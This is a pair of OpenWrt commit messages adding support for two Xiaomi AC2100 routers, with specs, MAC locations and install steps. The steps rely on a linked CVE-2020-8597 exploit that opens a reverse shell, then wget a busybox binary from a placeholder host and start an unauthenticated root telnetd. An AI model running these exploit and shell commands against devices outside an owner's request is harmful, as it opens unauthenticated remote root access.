Emir Efe Kucuk	53a1fede1f	ramips: Add support for Xiaomi Mi Router(Black,R2100) ... The Xiaomi Mi Router AC2100 is a *black* cylindrical router that shares many characteristics (apart from its looks and the GPIO ports) with the 6-antenna *white* "Xiaomi Redmi Router AC2100" See the visual comparison of the two routers here: https://github.com/emirefek/openwrt-R2100/raw/imgcdn/rm2100-r2100.jpg Specification of R2100: - CPU: MediaTek MT7621A - RAM: 128 MB DDR3 - FLASH: 128 MB ESMT NAND - WIFI: 2x2 802.11bgn (MT7603) - WIFI: 4x4 802.11ac (MT7615) - ETH: 3xLAN+1xWAN 1000base-T - LED: Power, WAN in Yellow and Blue - UART: On board (Don't know where is should be confirmed by anybody else) - Modified u-boot Hacking of official firmware process is same at both RM2100 and R2100. Thanks to @namidairo Here is the detailed guide Hack: https://github.com/impulse/ac2100-openwrt-guide Guide is written for MacOS but it will work at linux. needed packages: python3(with scapy), netcat, http server, telnet client 1. Run PPPoE&exploit to get nc and wget busybox, get telnet and wget firmware 2. mtd write openwrt-ramips-mt7621-xiaomi_mi-router-ac2100-kernel1.bin kernel1 3. nvram set uart_en=1 4. nvram set bootdelay=5 5. nvram set flag_try_sys1_failed=1 6. nvram commit 7. mtd -r write openwrt-ramips-mt7621-xiaomi_mi-router-ac2100-rootfs0.bin rootfs0 other than these I specified in here. Everything is same with: f3792690c4 Thanks for all community and especially for this device: @Ilyas @scp07 @namidairo @Percy @thorsten97 @impulse (names@forum.openwrt.com) MAC Locations: WAN *:b5 = factory 0xe006 LAN *:b6 = factory 0xe000 WIFI 5ghz *:b8 = factory 0x8004 WIFI 2.4ghz *:b7 = factory 0x0004 Signed-off-by: Emir Efe Kucuk <emirefek@gmail.com> [refactored common image bits into Device/xiaomi-ac2100, fixed From:] Signed-off-by: Petr Štetiar <ynezz@true.cz>	4 years ago
Richard Huynh	f3792690c4	ramips: Add support for Xiaomi Redmi Router AC2100 (RM2100) ... Specification: - CPU: MediaTek MT7621A - RAM: 128 MB DDR3 - FLASH: 128 MB ESMT NAND - WIFI: 2x2 802.11bgn (MT7603) - WIFI: 4x4 802.11ac (MT7615) - ETH: 3xLAN+1xWAN 1000base-T - LED: Power, WAN, in Amber and White - UART: On board near ethernet, opposite side from power - Modified u-boot Installation: 1. Run linked exploit to get shell, startup telnet and wget the files over 2. mtd write openwrt-ramips-mt7621-xiaomi_rm2100-squashfs-kernel1.bin kernel1 3. nvram set uart_en=1 4. nvram set bootdelay=5 5. nvram set flag_try_sys1_failed=1 6. nvram commit 7. mtd -r write openwrt-ramips-mt7621-xiaomi_rm2100-squashfs-rootfs0.bin rootfs0 Restore to stock: 1. Setup PXE and TFTP server serving stock firmware image (See dhcp-boot option of dnsmasq) 2. Hold reset button down before powering on and wait for flashing amber led 3. Release reset button 4. Wait until status led changes from flashing amber to white Notes: This device has dual kernel and rootfs slots like other Xiaomi devices currently supported (mir3g, etc.) thus, we use the second slot and overwrite the first rootfs onwards in order to get more space. Exploit and detailed instructions: https://openwrt.org/toh/xiaomi/xiaomi_redmi_router_ac2100 An implementation of CVE-2020-8597 against stock firmware version 1.0.14 This requires a computer with ethernet plugged into the wan port and an active PPPoE session, and if successful will open a reverse shell to 192.168.31.177 on port 31337. As this shell is somewhat unreliable and likely to be killed in a random amount of time, it is recommended to wget a static compiled busybox binary onto the device and start telnetd with it. The stock telnetd and dropbear unfortunately appear inoperable. (Disabled on release versions of stock firmware likely) Ie. wget https://yourip/busybox-mipsel -O /tmp/busybox chmod a+x /tmp/busybox /tmp/busybox telnetd -l /bin/sh Tested-by: David Martinez <bonkilla@gmail.com> Signed-off-by: Richard Huynh <voxlympha@gmail.com>	4 years ago
